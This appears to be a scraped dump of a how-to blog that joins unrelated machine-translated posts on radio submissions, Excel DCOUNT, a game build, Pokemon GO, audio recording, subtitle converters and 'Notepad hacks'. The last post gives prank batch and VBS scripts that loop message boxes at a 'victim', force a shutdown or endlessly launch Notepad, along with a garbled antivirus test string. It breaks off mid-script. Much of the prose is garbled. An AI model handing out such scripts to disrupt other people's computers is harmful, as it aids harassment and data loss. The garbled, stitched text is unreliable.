iTunes, Amazon Music, or Bandcamp. iTunes allows you to sign up to sell your music for free;[1] Amazon Music requires you to use a distributor to sell your music through their Digital Music store.[2] Bandcamp is also free to sign up and is becoming increasingly popular with artists.[3] Examine several options and choose the best for your situation. You can also get your music online by using websites such as YouTube or Vimeo. Read the Terms and Conditions for any website carefully; you want to make sure you keep your copyright and permission to sell your music! Sites such as Soundcloud, Mediafire, and Sendspace operate legal file sharing services that allow music directors to download your music without having to worry about viruses and other safety issues.[4]   Compose a press kit. You may or may not be requested to submit a press kit with your music. However, it doesn't hurt to have one ready to go. Most press kits include several basic elements that will help people get to know you quickly. Write a cover letter. This should be addressed to the person to whom you're submitting your music. Include your contact information, any webpages (YouTube, Facebook, website, etc.) that you have, and basic information about your music (genre, themes, etc.). Write a short biography. This should be a short description of you (or your band, if you have one) and your accomplishments so far. You can talk about your influences and interests here, but keep this part story-oriented. Consider it like your introduction to a new friend.[5] Create a \"fact sheet.\" This should include the essential information about you: name, style of music, other artists/bands you are similar to, instrumentation, etc.  Score\n0 / 0\nYour contact information, websites, and basic information about your music. Yes! The cover letter needs to be an introduction and answer any questions that relate to you and your music from a professional standpoint. Read on for another quiz question.\nInformation about yourself or your band, listing your accomplishments. Not quite. This information would be better suited in a short biography. The cover letter should tell the station how to contact you, something about your music, etc. There's a better option out there!\nPersonal details about yourself, such as your musical interests and influences. Not exactly. Your cover letter should be a more professional document, and include things like contact information and websites. Save the personal stuff for the short biography instead. Click on another answer to find the right one...\nYou don't need information, you just need to market and sell yourself. Nope. You should definitely put down some information about yourself in your cover letter! Focus on your contact information, websites, and basic info about your music. Choose another answer!\nWant more quizzes?\nKeep testing yourself! Part 2of 3:\nResearching the Radio Scene  Determine your radio options. The genre of music you play will help to determine the radio stations that are likely to play your song. For example, public radio stations (such as local National Public Radio affiliates) tend to focus on indie, jazz, and singer-songwriter types.[6] Your local college radio station may be a good choice for music that draws a younger audience, such as rap, hip-hop, and rock.[7] Make sure you send your song to a station that's shown they play that type of music.\n  Research your local stations. You're probably going to need to start small, especially if you haven't signed with a record label yet. College radio stations are excellent places to get your start, because they tend to be open to playing new and less mainstream music. They also tend to be less driven by advertising and business concerns than commercial radio, so they might be more willing to take a chance on your song.[8] However, commercial radio stations may also be interested in your music, especially if you're a local act, so check out the websites for the stations in your area. You can find radio station locators on the internet. These will allow you to search by state, city, or country.[9] Look for titles like \"music director,\" \"station manager,\" \"production manager,\" or \"DJ.\" These are usually the people in charge of receiving, selecting, and playing new music. If you're not sure whom to contact, try calling the station's general information line and asking to be connected to the person in charge of music programming. You can also call in to the station during a specific program: often, DJs answer the phone during their programs and you can ask them about getting your song on air. This works particularly well if you call a show focusing on the genre of music you make.[10]   Consider alternative radio. Internet radio is still broadcast radio's younger cousin, but it's another venue for emerging artists. Many internet radio stations allow -- even welcome! -- submissions from musicians who are new on the scene. Pandora allows direct submissions.[11] AmazingRadio.com is another online station that accepts independent and emerging artists.[12] Live365.com will host your music in their Music Library, which will allow their online stations access to it.   Make connections. Many DJs and radio stations have social media accounts now. Follow them on Twitter and Facebook and check out their blogs and playlists. You'll have a better chance of personalizing your submission if you know who you're sending your song to. You can also reach out to radio stations and DJs through social media. A tweet to them about your music will get your name out there without seeming overly aggressive.   Read guidelines carefully. Submission guidelines vary widely, depending on where you're submitting your music. In general, though, music on CD seems to be the preferred submission method. Few places will accept a digital file sent as an email attachment. If the radio station's website provides specific guidelines, follow them! Nothing will turn off staff faster than you not following their directions. Many stations will discard music without listening to it if it isn't submitted properly. If you can't find information about submitting your music online, contact the station with your inquiry directly. Send a short, friendly email explaining who you are, your musical experiences, and what your song is about. If you have a YouTube, Facebook, or other media page, include a link. Don't send any attachments; many places won't open email attachments because of security and virus concerns.  Score\n0 / 0\nSubmit it anyway. If they didn't put requirements, they don't have any. Not necessarily. There might be some guidelines that you overlooked, and nothing turns staff off faster than not following guidelines. You should still try to find out what the guidelines are, even if that seems hard to do. Try again...\nDon't submit it or risk it. Go to a different station instead. Not quite. That would be giving up too soon! Just because you're having a hard time finding their guidelines doesn't mean their guidelines don't exist, it just means you have to look elsewhere! Pick another answer!\nContact the station directly with an email and an attachment. Almost. You do want to contact the station, but you don't want to include any attachments. Many stations won't even open an unsolicited email that has an attachment, because sometimes, that's how spammers send viruses. Click on another answer to find the right one...\nContact the station directly with a link but no attachments. Yes! Email the station directly. While it is perfectly okay to add a link to a website, you shouldn't send any attachments. Most places won't open emails with attachments due to virus risks. Read on for another quiz question.\nWant more quizzes?\nKeep testing yourself! Part 3of 3:\nSubmitting Your Song  Customize your submissions. A personalized submission is far more likely to catch a music director or DJ's eye than a form email that's clearly been sent to 500 other stations. This also goes for physical CD submissions. Whenever possible, customize your submission using people's names (if you can find them) and a brief statement of why you fit in with their station's \"feel.\"   Send in your music. Once you've established the guidelines for submitting your music, send it in! Give complete information -- your contact info and the CD's track listing are essential -- but don't send anything that isn't asked for.\n  Wait. It can take days, weeks, or even months for your song to make it into the hands of a music director, especially if you've sent it to a larger station. Don't harass people with calls or emails. Remember, they get many submissions from hopeful artists just like you, and it takes awhile to listen to everything. The radio station may give a time-frame for responding to you. If it's past that time-frame, a friendly email inquiry is appropriate, but try not to sound accusative or angry. A simple email asking if the music director has had time to listen to your submission yet will suffice.   Prepare for rejection. It's always awesome when an artist gets a big break, but there are many artists and bands out there and only so much radio space. You may be rejected from the first several stations you contact, and that's okay. Be persistent and patient. Being rejected doesn't mean your music is bad!\n Score\n0 / 0\nTrue Definitely not! Stations get a lot of submissions, which can take a while to get through. If the time-frame for a response has passed, email station and politely ask them if they've listened to your submission. Try again...\nFalse Yes! Many stations get lots of submissions, and it can take a while to listen to. If the time-frame for a reply has passed, don't be afraid to send a friendly email asking about the submission. There's a chance your email went to their spam folder, or got overlooked for some other reason. A polite email can remind them you're still interested! Read on for another quiz question.\nWant more quizzes?\nKeep testing yourself!  Lesley Montoya Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BVqXq6u9SrZKynnpx6sLqMrZ%2BeZaKWsaq7\n","link":"/post/how-to-get-your-song-on-the-radio/","section":"post","tags":null,"title":"How to Get Your Song on the Radio"},{"body":"Function Count on Excel is the basic Excel function that will be used to count data on Excel. Besides, we can use conditional Count counting function with COUNTIF or DCOUNT function.\nThe COUNTIF function will search for cells that match the given conditions. The search data area may contain regular characters or letters. With DCOUNT, the function counts the number of cells that contain numeric data in the list, or database with given conditions. The following article will guide you how to use the DCOUNT function on Excel.\nHow to combine Sumif and Vlookup functions in Excel How to automatically display names when entering code in Excel How to use AVERAGEIF function in Excel Instructions for using DCOUNT on Excel The DCOUNT function has a function syntax of DCOUNT (database, field, criteria) .\nInside:\nDatabase: The range of cells or data areas to be counted, including header rows in the data area, are required parameters. Field: The field or column name used to check the count condition. If you enter the column header directly, put it in quotation marks, if you enter the number, enter the corresponding number of the column from the left. Criteria: The data area contains the condition cell. You can use any range, but there must be at least one column header and one cell containing conditions under the column header box. Note:\nThe range of conditions below the list should not be set because new information will be added at the end of the list. Make sure the range of conditions does not override the list. To manipulate an entire column in the list, enter a blank line below the column header in the range of conditions. We will proceed to process the following data table, counting the number of students who meet different conditions.\n  1. Calculate the number of students with a score greater than or equal to 8\nAccording to the table, the data to count belongs to the numeric data type in the Van text column. In the input box, enter the formula that is = DCOUNT (A2: E7, D2, B9: B10) and press Enter.\nInside:\nA2: E7: The data area contains the data to be counted. D2: Name the data column to check the condition. B9: B10: Data area contains conditions. It is necessary to enter the field name of the conditional data area that matches the field name in the data table.\n  Step 2:\nAfter pressing Enter the result is as shown below. There will be 2 students with a score greater than or equal to 8.\n  2. Calculate the number of students in grade A1 with a Math score greater than or equal to 7\nAs required, there will be 2 conditions to find value. But the DCOUNT function only uses data type counting so we can create a condition containing the Math class and grades as shown. The condition field will contain two conditions, but the conditional column name will let the column contain numeric data.\nEnter the formula as = DCOUNT (A2: E7); C2; B9: B10) and press Enter.\n  Step 2:\nAs a result, only 1 grade A1 student has a Math score greater than or equal to 7.\n  3. Calculating grade A1 students with a score of 3 subjects is large or equal to 5\nStep 1:\nWe will perform counting of numerical data with multiple conditions and with conditions other than numeric data. Set the condition area as shown. Then enter the formula as = DCOUNT (A2: E7; C2; B9: E10) and press Enter.\n  Step 2:\nThe result will be only one student of A1 class with a score of 3 major subjects 5.\n  4. Calculate the number of A1 students taking the exam\nHere there will be a condition area of ​​class A1. In the input box enter the formula as = DCOUNT (A2: E7; B2; B9: B10) and press Enter as shown.\n  The result will be 0 even though there are 2 A1 grade students taking the exam. This is because the DCOUNT function only counts with numeric data, so the condition of class A1 is a character type so the result of the return function is 0.\n  Above is how to use the DCOUNT function on Excel, the data counting function with the given conditions. For examples of finding different data and an example of a DCOUNT function that returns a result 0 above, you will know how to select the condition range exactly.\nInstructions for using DCOUNT on Excel See more:\nHow to combine 2 columns Full name in Excel does not lose content How to use SUMPRODUCT function in Excel How to use Vlookup function in Excel I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqlr86upa1llqq7pMDIqKVmp55isrmvxKU%3D\n","link":"/post/how-to-use-dcount-function-on-excel/","section":"post","tags":null,"title":"How to use DCOUNT function on Excel"},{"body":"The version of the Truth Arena 9.15 has undergone many changes, bringing disadvantages to many generals when reducing their power. And there are many generals who have received help from this version, including the Knights.\nThe knight in this DTCL version received additional armor buffs and reduced the damage received from every attack. It was a quite advantageous point to help the Knight prevail over the other tribes in the Truth Arena. If combined with Archers, it will be very easy to get to the top, you can look at the article below to build the Archer Knight squad very easily reached the top 1.\nTop equipment most suitable for Archers, Gunners and Draven Arena Truth BXH the high damage generals in Truth School League League Truth School League: 5 simple tips that make it easier to match Find out the General Knight Arena Knight formation 1. Knight   TFT Knights are classified into two categories and have unique characteristics that help you build your formation to the best.\nType 1: Garen, Mordekaiser, Darius. All three are easy-to-find and cheap generals, which can be used in any stage of the match. Especially Mordekaiser because this general can follow you from the beginning to the end of the match.\nType 2: Kayle, Sejuani, Poppy. These three Knights have good resistance and also have good armor. Not to mention the effects that are added to the skill of \"spearheading\" such as stunning, immortality, tossing. And so many options, the price is not as soft as tofu. All three have a price of 3 or more gold and rarely appear at the beginning of the battle.\nAs mentioned above, after the 9.15 version also received buffs and can bring a big shield to the whole team, instead of just knights like before. Knight system is also very easy to activate with 3 milestones to help you easily build the formation as you want.\nSpecifically, the team will reduce the damage as follows:\n(2): 15 damage from all sources. (4): 30 damage from all sources. (6): 55 damage from all sources. 2. Archers   The Archery System currently has 4 members and is also diverse in Ethnicity, both in effect and rank among generals in this clan. Since this formation uses 4 Archers as main damage, it is certain that all 4 will have to appear in the lineup. It is important to take the Archers at any time.\nIf all 4 Archers are gathered, the attack speed and firing ability of each hero will be greatly increased. Vayne with Varus will source standard damage, magic is fine. Ashe and Bang Quoc will control the whole map.\nKindred, if arranged in the right position, can save the remaining 3 Archers if the next line encounters the powerful Assassins. In addition, this general is very suitable if he goes with the Knight when he has Mordekaiser at the front line.\nSpecifically the parameters of Archers with the Ma clan will be as follows:\nEvery 3 seconds, the attacker's attack speed will be doubled\n(2): 25% more chance (4): 65% more chance. Evil\n(2): Curse an enemy at the beginning of the match and cause the enemy to have only 100 left Analyzing Pros - Disadvantages of Knight formation - Archers 1. Advantages   Very high attack speed with good resistance is one of the advantages that this lineup has. The most influential generals in the squad all have an average price, only Kindred is quite rare but the ability to be in the market is very high. The ability to control as well as stun from Ashe, the Ice Country helps secure the rear. At the end of the game if Kayle is added, the squad will become extremely powerful, helping the main sources of damage live for a long time in the fighting. It is very suitable to refine teams that equip equipment for a champion, such as a Sorcerer - Void with Kindred's ability to deal damage. Easily climb TOP in the rankings. 2. Cons   Although these are average generals, it is difficult to appear in the early stages of the battle. Knights will be very strong at the beginning of the game, but in the middle of the match it will not be as strong as the first match against other teams. It is required to have 4 full Archers to build a prototype team, and often encounter a shortage of personnel because there are quite a lot of players choose this squad. Flexible in arranging the position of Archers because it can be corrected by Blitzcrank if placed incorrectly. How to build the DTCL Archer Knight formation 1. First match   The Knight and Archers' intrinsic is easy to activate, and the beginning of the battle will be the time when you reach your threshold. Just 2 Knight generals with 2 Archers generals is completely comfortable in the first match.\nAnd don't be afraid to roll the champion at this stage. This is the time for you to upgrade the knights one gold quickly. At the stage after you have leveled up, they will appear less.\nThe easiest and most easily built team will include the following members: Garen, Mordekaiser, Vayne, Varus, Fiora. If complete, you will have the following Ethnic / Next effects.\n2 Knights: Mordekaiser, Garen 2 Archers: Varus, Vayne 3 Nobles: Garen, Vayne, Fiora In which Fiora will be the general responsible when this formation is not completed. The reason why Fiora appears will heal each attack for one member and provide armor buff effect. Helping your team in the first stage will be very solid. There are a few priorities that you need to keep in mind.\nPriority 1: Pay attention to Golden Shovel and Mesh. This equipment will help you a lot in the later stages of the match. Especially when only 1 Knight is missing, there are 6 Knights. Priority 2: Get Kindred as soon as possible even at any stage of the match. Priority 3: Target items that increase attack speed and pay attention to Kayle during the market. Priority 4: Upgrade Mordekaiser and Garen as high as possible 2. Mid-game   At this stage it is time that you will lose a lot of breath when other teams have also formed the amount of damage. At this point, try to have Kindred and Ashe as mentioned in stage 1. Consider considering upgrading archers because now more golden generals will appear.\n2 Knights: Mordekaiser, Garen 2 Ma: Kindred 4 Archers: Ashe, Varus, Vayne, Kindred 3 Nobles: Vayne, Garen, Fiora The effect from Ma's house will be activated at mid-game, helping you to answer more than a general at the fighting stage. Along with that is a general who receives a buff from the Noblesse so it will be very strong, so you won't lose too much blood at this stage.\nHowever, this formation is not complete, so try to save after each round to get high gold. You should not roll much because the generals you want will not appear much. In addition, it reduces the amount of gold you accumulate and reserves for the end of the battle.\nUntil you go to the market, your blood level will definitely stop at an average level, so try to get the generals you want. If you have more Gold Shovel, you can still take it but take a look at the situation and consider whether a spoon or a general is more beneficial.\nIf you are careful, look at the enemy team, whichever team you see has Blitzcrank, take precautions. This long-handed name can surprise you and can cause your squad to lose a major source of damage.\n3. The final stage   Through the middle of the game and still living well, this is the time when you will enjoy the winning series and will go \"countless\" with each one. You can sell Fiora because now a Nobility insurance will not work with the amount of damage accumulated from other teams, you can replace Fiora with Kayle.\nTo have Kayle, Poppy or Sejuani at this time is not too difficult for you to complete your lineup. And you will get the effects of the system after completing your lineup.\n5 Knights: GarenMordekaiser, Kayle, Seju, Poppy 4 Archers: Ashe, Kindred, Varus, Vayne. 3 Nobles: Garen, Vayne, Kayle 2 Gangs: Sejuani, Ashe 2 Ma: Mordekaiser, Kindred This is also the time when Golden Shovel with Giap Luoi at the beginning of the game market takes effect. With the Knight added at the end of the game you will activate 3 gold indicators at the same time, so that your squad will be very strong.\nHand damage, standard damage, unchallenged magic, or immortality will make this team the best top game.\nDon't forget that you have to arrange your formation so that Kindred and Kayle's interaction is long enough. Thanks to that, the archers can accumulate enough dame to solve the game and win.\nIf you are equipped with a speed of fire, pour it all into Ashe because she now possesses an extremely stunned ability. If you have 2 Oversized Sticks, give it to Varus to hold the Witch's Hat.\nAnd while being an archer, Varus can inflict a large amount of magic spells and help destroy enemies more easily.\nAbove is a full analysis of the Knights of the Ranger squad and the team build instructions in stages, how to equip the equipment. If you are looking for the most effective lineup in this 9.15 Truth Arena, then try building the Knight Order lineup according to the instructions above.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZo7RuwMeeZK2qpam1bq3RnqWaZZujtqi002aip6GXncG0ecWoqaaZpJ68rw%3D%3D\n","link":"/post/instructing-the-truth-arena-knight-knights-formation/","section":"post","tags":null,"title":"Instructing the Truth Arena Knight Knights formation"},{"body":"Pokestop in Pokemon GO is a place that provides a lot of free and attractive items for gamers. We can get Pokeball, decent Pokecoins, Pokemon catch items or revival medicine for Pokemon, . Pokestop positions are recognized through green circle icon or square blocks, usually the places Famous points easily recognizable. And to be able to receive valuable gifts from Pokestop, every gamer needs to do is simple.\nGet free items from Pokestop in Pokemon GO Step 1: At the main interface of the game, you go around to find Pokestop. When you see the place Pokestop please close to proceed to receive gifts. Pokestop is the location with the square block above.\nNote , players must tieesb to Pokestop when the square icon changes to a circle as shown below. If you click on Pokestop and be informed This Pokestop is too far away meaning you are too far away from Pokestop. Move closer to receive gifts.\n    Step 2: If the player qualifies for a gift from Pokestop, random items will fall into your pocket. Under the picture, I received random Pokeball and Pokemon eggs. Some luckier players will receive Pokecoins or revival items.\nAfter receiving the gift, Pokestop will turn purple . If you compare with other Pokestop locations, there will still be a square and blue icon, which means that you have not taken any action to receive gifts here.\n    After 15 minutes, go back to Pokestop to get free gifts.\nPokestop is always a place to create surprises and where gamers can earn themselves lucky gifts. No matter what item you get, it is also useful for the process of leveling up and catching your Pokemon.\nWish you all have fun playing games!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZKudk5q2t7GMn6menV2ewaa50magp2WgpLimv9Oopw%3D%3D\n","link":"/post/instructions-to-receive-free-items-in-pokestop/","section":"post","tags":null,"title":"Instructions to receive free items in Pokestop"},{"body":"To record on computer some of you often find ways to download troublesome audio recording software online without knowing that we don't necessarily have to. Because in Windows operating system has built-in recording feature is very good and easy to use. The following article of TipsMake.com will guide you how to record on your computer very simply without installing any additional software.\n  1. For Windows 7 On Windows 7 we will use a tool called Sound Recorder\nStep 1 : Open the Start, type Sound in the search box until the results show Sound Recorder, then open the application to:\n  Step 2 : When opening the application, the interface cannot be simpler, just press the Sart Recording button to start recording.\n  Step 3 : When the recording is finished you press Stop Recording\n  Step 4: The Save As window will appear, select the folder to save the recording file, give the recording a name, then click Save to save it.\n  2. For Windows 10 On Windows 10, this tool has been refreshed by Microsoft with the name Voice Recorder, the interface is more beautiful but still very simple.\nStep 1 : To use you open the Start Menu and find the Voice Recorder application\n  Step 2 : When the application opens you just click on the icon Micro to start recording.\n  Step 3: \u0026nbsp;After recording, click on the green icon to finish or you can pause and continue recording.\n  Step 4: \u0026nbsp;After the recording is completed, we will be taken to the interface for managing audio recordings. Here you can listen to the recording, sharing, deleting, renaming, truncating.\n  Step 5 : If you want to get the recording file to send to someone, then click on the 3-dot icon and select\u0026nbsp; Open file location\n  Now the folder containing the recording file will appear and you can use these files depending on the purpose.\n  Above is a tutorial on how to record on a very simple computer without installing additional software. Hope the article will be helpful to you. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ6YrKGVqMFuw8CyZK2nXaeypLvRnWSarZSevG67zWaYZpufor22wMSr\n","link":"/post/the-easiest-way-to-record-audio-on-a-computer/","section":"post","tags":null,"title":"The easiest way to record audio on a computer"},{"body":"Due to the need for foreign language learning, the need to download separate subtitle files with videos is now increasing, especially downloading Youtube subtitles. And if we already have a subtitle file, we can customize it in many different ways, like converting file formats, converting at the same time for multiple files, automatically encode to UTF-8, etc. In the article below, The network administrator will introduce you to some useful websites to handle subtitle files completely free and professionally.\n1. Convert subtitles with Caption Converter: This site supports converting subtitles .srt format to many other subtitle formats at the same time such as SCC, TXT, DFXP, CAP, STL, SRT, TTML, MCC, VTT, . along with many sources of choice different.\nStep 1: First, enter the link below to access the homepage of Caption Converter.\nhttps://www.rev.com/captionconverter At the home page interface, click on Select .srt files to upload the subtitle file to the website.\n  We will be choosing the source to download subtitle files from the computer, or storage services like Dropbox, Google Drive, OneDrive.\n  Step 2: After downloading the subtitle file to Caption Converter, we select the subtitle file format we want to convert from the Select Output Formats list that the site provides.\nUsers can convert multiple formats at once or convert to all the formats listed.\n  Step 3: Finally, enter the email address to send the link to download the subtitle file after conversion, then click Convert to convert. If you convert a subtitle file to many other formats, you will get the file as a zip file.\n  2. Subtitle Converter converts subtitle file format: Subtitle Converter belongs to Gotranscript website, also supports converting subtitle formats such as SRT, SUB, SSA, ASS, . into 15 other formats such as XML, QuickTime Text, VTT, SMI, DFXP, CSV, RT, SBV, SCC , STL, . The subtitle file input format is relatively high for users.\nStep 1: Enter the link below to access the main interface of the Subtitle Converter website.\nhttps://gotranscript.com/subtitle-converter At this interface, we click the Upload button to upload the subtitle file to the homepage. Subtitle Converter only supports downloading subtitle files from the computer.\n  Step 2: Next, select the subtitle format you want to convert in the Select Format column. The service only supports one-time conversion of a single file and a target format only.\n  Step 3: Finally, click the Convert button to proceed to convert the format to the selected file format. The file will automatically be downloaded to the computer.\n  3. Free Online Subtitle Converter convert sub file: Free Online Subtitle Converter service supports users to convert 5 subtitle files at a time . And we can also choose to convert formats such as TXT, SRT, OVR, PSB, JS, LRC, DKS, SUB, SON, SST, SML, .\nStep 1: We click on the link below to access the homepage of Free Online Subtitle Converter.\nhttp://subconverter.rest7.com/ At the home page interface click on the middle white frame to upload the subtitle file.\n  Step 2: Next, at Choose output format , we choose the output format for the subtitle file. There are quite a few formats in the list to choose from.\n  Step 3: Finally, we just need to click the Download as button in each subtitle file to upload.\n  The above are 3 services, the website supports users to change subtitle file format completely free of charge. All 3 services support many different subtitle formats, along with the options in the conversion process, such as downloading multiple files, converting at the same time to many formats, . If you have a need. Edit subtitle file, try using 3 services above.\nHope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKygrZ1dmLyvwsSrq6xlpJ2ybr%2FUm6uirJyaeqe1y55kn6eioq61ecWoqWaeopqy\n","link":"/post/the-site-converts-the-subtitle-file-format-for-free/","section":"post","tags":null,"title":"The site converts the subtitle file format for free"},{"body":"Notepad is one of the simple text editors built into Windows. Notepad is usually saved as a .txt file without any other format.\nNot only useful in creating simple documents, but Notepad is also a tool to help users in the process of using some tricks to 'hack', create batch files .\nIn the article below TipsMake.com will introduce you some tricks 'hack' that only Notepad can do.\nNotepad hack tips 1. Create a fake Windows window with Notepad 2. Bush Hid the Facts / This App Can Break 3. The attack on the world trade center (World Trade Center) 4. Create a personal diary 5. Check programs and anti-virus software 6. Continuously open the CD Drive drive 7. Matrix Effect - Matrix effect 8. Change Header / Footer on Notepad file 9. Repeat the message continuously 10. Turn off the Windows computer 11. Open Notepad continuously 12. Type \"You are a fool.\" (You are an idiot) constantly 13. Turn on / off keyboard keys simultaneously 13.1. Caps Lock key 13.2. Press Enter key repeatedly 13.3. Press the Backspace key repeatedly  14. Type the message \"slowly\" 15. Select a custom Batch file 16. Convert text (text) into audio (audio) 17. Format hard drive 18. Create password protected folder with Notepad 19. Make your computer talk to you 20. Turn keyboard into night EDM 21. Create simple puzzle game 22. Create a random password 23. Create a virtual computer 1. Create a fake Windows window with Notepad   This is one of the extremely interesting Notepad tips, allowing users to create a fake message. To do this, follow the steps below:\n1. Open Notepad.\n2. Enter Notepad command line:\n X=Msgbox('Message Here',0+16,'Title Here')  3. Replace Here Here and Title Here with the error message you want and the corresponding error message window.\n4. Save the Notepad file to error.vbs .\n5. From now on when you click on the file, the screen will display an error message window that you have created.\n2. Bush Hid the Facts / This App Can Break Bush Hid the Facts / This App Can Break is one of the most popular Notepad tricks. To use this trick, follow the steps below:\n- Open Notepad.\n- Copy and paste BUSH HID THE FACTS or this app can break into Notepad.\n- Save Notepad file and put any name you want.\n- Open the Notepad file you just saved and see what \"miracle\" happens.\nThis action is known as Rule 4335 (Rule 4335). This means that if we enter 4 words separated by spaces in Notepad, where the first word has 4 letters, the next 2 words have 3 letters, and the last word has 5 letters. Then Notepad automatically hides the text into 'unspecified' code.\n3. The attack on the world trade center (World Trade Center)   You've probably heard about the September 11, 2001 event. The flight number of the aircraft attacking the world trade center (World Trade Center) is Q33NY. So we can call this trick a coincidence.\n- Open Notepad.\n- Enter Q33N in Notepad (note the capital letters).\n- Increase the font size to 72.\n- Change the font to Wingdings.\nYou will be surprised with the results you see.\n4. Create a personal diary   Did you know that Notepad is also used to make diary or use to do personal Log-Book. To do this, follow the steps below:\n- Open Notepad.\n- Enter .LOG into Notepad and press Enter (note the capital letters).\n- Save Notepad and name it any name.\n- Open the Notepad file you just saved.\nWhen you open the Notepad file again, you will see the current time automatically inserted after the .LOG stream. Each time you re-open Notepad, it will automatically insert the date and time for you.\n5. Check programs and anti-virus software You can check whether your computer's anti-virus programs work effectively by using simple tricks with Notepad.\nFollow the steps below:\n- Open Notepad.\n- Copy and paste the code below and Notepad:\n X5O! P% @ AP [4PZX54 (P ^) 7CC) 7} $ EICAR-STANDARD-ANTIVIRUS-TEST-FILE! $ H + H *  - Save Notepad file and put any name, note the extension is .exe.\nAs soon as you save the Notepad file, if the antivirus program on your computer scans and deletes the virus file immediately, it means that the antivirus program you are using is working properly and effectively. If this does not happen, it is best to remove the antivirus program, download and install another antivirus program more effectively.\nNote: File EICAR (# 3) is a 16-bit application and this application does not work on 64-bit Windows versions.\n6. Continuously open the CD Drive drive - Open Notepad.\n- Copy and paste the code below into Notepad:\n SET OWMP = CREATEOBJECT ('WMPLAYER.OCX.7?) SET COLCDROMS = OWMP.CDROMCOLLECTION DO IF COLCDROMS.COUNT\u0026gt; = 1 THEN FOR I = 0 TO COLCDROMS.COUNT - 1 COLCDROMS.ITEM (I) .EJECT NEXT FOR I = 0 TO COLCDROMS.COUNT - 1 COLCDROMS.ITEM (I) .EJECT NEXT END IF WSCRIPT.SLEEP 5000 LOOP  - Save the Notepad file, put any name with the extension .vbs.\nOpen Notepad again and discover new things.\n7. Matrix Effect - Matrix effect   No need to explain much about this trick, just follow the instructions below and see what a surprise happens in the DOS window:\n- Open Notepad.\n- Copy the text below to paste into Notepad file:\n @ECHO OFF COLOR 02 : START ECHO% RANDOM%% RANDOM%% RANDOM%% RANDOM%% RANDOM%% RANDOM%% RANDOM%% RANDOM%% RANDOM%% RANDOM% GOTO START  - Save the Notepad file, and put any name, notice the extension is .bat. Such as Matrix.bat.\nThat is all. Just open the Notepad file you just saved and Matrix effect will appear right before your eyes.\n8. Change Header / Footer on Notepad file   - Open Notepad.\n- Click File =\u0026gt; Page Setup.\n- Replace the text in the Header and Footer frames with any of the following code:\n \u0026amp; L LEFT-ALIGN THE CHARACTERS THAT FOLLOW \u0026amp; C CENTER THE CHARACTERS THAT FOLLOW \u0026amp; R RIGHT-ALIGN THE CHARACTERS THAT FOLLOW \u0026amp; D PRINT THE CURRENT DATE \u0026amp; T PRINT THE CURRENT TIME \u0026amp; F PRINT THE NAME OF THE DOCUMENT \u0026amp; P PRINT THE PAGE NUMBER  9. Repeat the message continuously With this tip you can make the \"victim\" feel annoyed and want to turn off the computer immediately.\n- Open Notepad.\n- Copy and paste the code below into Notepad file:\n @ECHO OFF : BEGIN MSG * HI MSG * ARE YOU HAVING FUN? MSG * I AM! MSG * LETS HAVE FUN TOGETHER! MSG * BECAUSE YOU HAVE BEEN OWNED GOTO BEGIN  - Save the Notepad file, and put any name, notice the extension is .bat. Such as Freakymessage.bat.\nAfter saving the Notepad file, open the file again by double-clicking on Notepad and see what happens.\nYou can send your friend this Notepad file by attaching it to an email and asking them to open the Notepad file and .\n10. Turn off the Windows computer This is a type of procedure that is quite troublesome and if you don't know how to use it can cause many other serious problems.\nTo create Shutdown files (turn off your computer), follow the steps below:\n- Open Notepad.\n- Copy and paste the code below into Notepad:\n @ECHO OFF MSG * ITS TIME TO GET SOME REST. SHUTDOWN -C 'ERROR! YOU HAVE TO TAKE REST! BYEEEEEE '-S  - Save the Notepad file again, put any name with the extension .bat, such as TakeRest.bat.\nNote: Use this trick carefully or it will cause problems and problems that you cannot anticipate.\n11. Open Notepad continuously - Open Notepad.\n- Copy and paste the code below into Notepad file:\n @ECHO OFF :TOP START% SYSTEMROOT% SYSTEM32NOTEPAD.EXE GOTO TOP  - Save the Notepad file, put any name with the extension is .bat.\nFinally open the Notepad file you just saved and see what happens.\n12. Type \"You are a fool.\" (You are an idiot) constantly - Open Notepad.\n- Copy and paste the code below into Notepad file:\n SET WSHSHELL = WSCRIPT.CREATEOBJECT ('WSCRIPT.SHELL') DO WSCRIPT.SLEEP 100 WSHSHELL.SENDKEYS 'You are a fool.' LOOP  - Save the Notepad file, put any name with the extension .vbs.\nReopen the Notepad file you just saved and experience new things.\n13. Turn on / off keyboard keys simultaneously Using Notepad (and VB) you can set different keys on your keyboard to turn on continuously. Here are 3 tricks using different keys that can be set to turn on / off simultaneously.\n13.1. Caps Lock key - Open Notepad.\n- Copy and paste the code below into Notepad file:\n SET WSHSHELL = WSCRIPT.CREATEOBJECT ('WSCRIPT.SHELL') DO WSCRIPT.SLEEP 100 WSHSHELL.SENDKEYS '{CAPSLOCK}' LOOP  - Save Notepad, put any name with the extension .vbs.\nOpen the Notepad file you just created and see how the Caps Lock key changes?\n13.2. Press Enter key repeatedly - Open Notepad.\n- Copy and paste the code below into Notepad file:\n DO WSCRIPT.SLEEP 100 WSHSHELL.SENDKEYS '~ (ENTER)' LOOP  - Save Notepad, put any name with the extension .vbs.\nOpen the Notepad file you just created and see how the Enter key changes.\n13.3. Press the Backspace key repeatedly - Open Notepad.\n- Copy and paste the code below into Notepad file:\n MSGBOX 'LETS RUMBLE' SET WSHSHELL = WSCRIPT.CREATEOBJECT ('WSCRIPT.SHELL') DO WSCRIPT.SLEEP 100 WSHSHELL.SENDKEYS '{BS}' LOOP  - Save Notepad, put any name with the extension .vbs.\nOpen the Notepad file you just created and see how the Backspace key changes?\nTo end the vbs script (stop pressing the keys repeatedly), open Task Manager, then end the process wscript.exe as shown below.\n  14. Type the message \"slowly\" - Open Notepad.\n- Copy and paste the code below into Notepad file:\n WSCRIPT.SLEEP 180000 WSCRIPT.SLEEP 10000 SET WSHSHELL = WSCRIPT.CREATEOBJECT ('WSCRIPT.SHELL') WSHSHELL.RUN 'NOTEPAD' WSCRIPT.SLEEP 100 WSHSHELL.APPACTIVATE 'NOTEPAD' WSCRIPT.SLEEP 500 WSHSHELL.SENDKEYS 'HEL' WSCRIPT.SLEEP 500 WSHSHELL.SENDKEYS 'LO' WSCRIPT.SLEEP 500 WSHSHELL.SENDKEYS ', HO' WSCRIPT.SLEEP 500 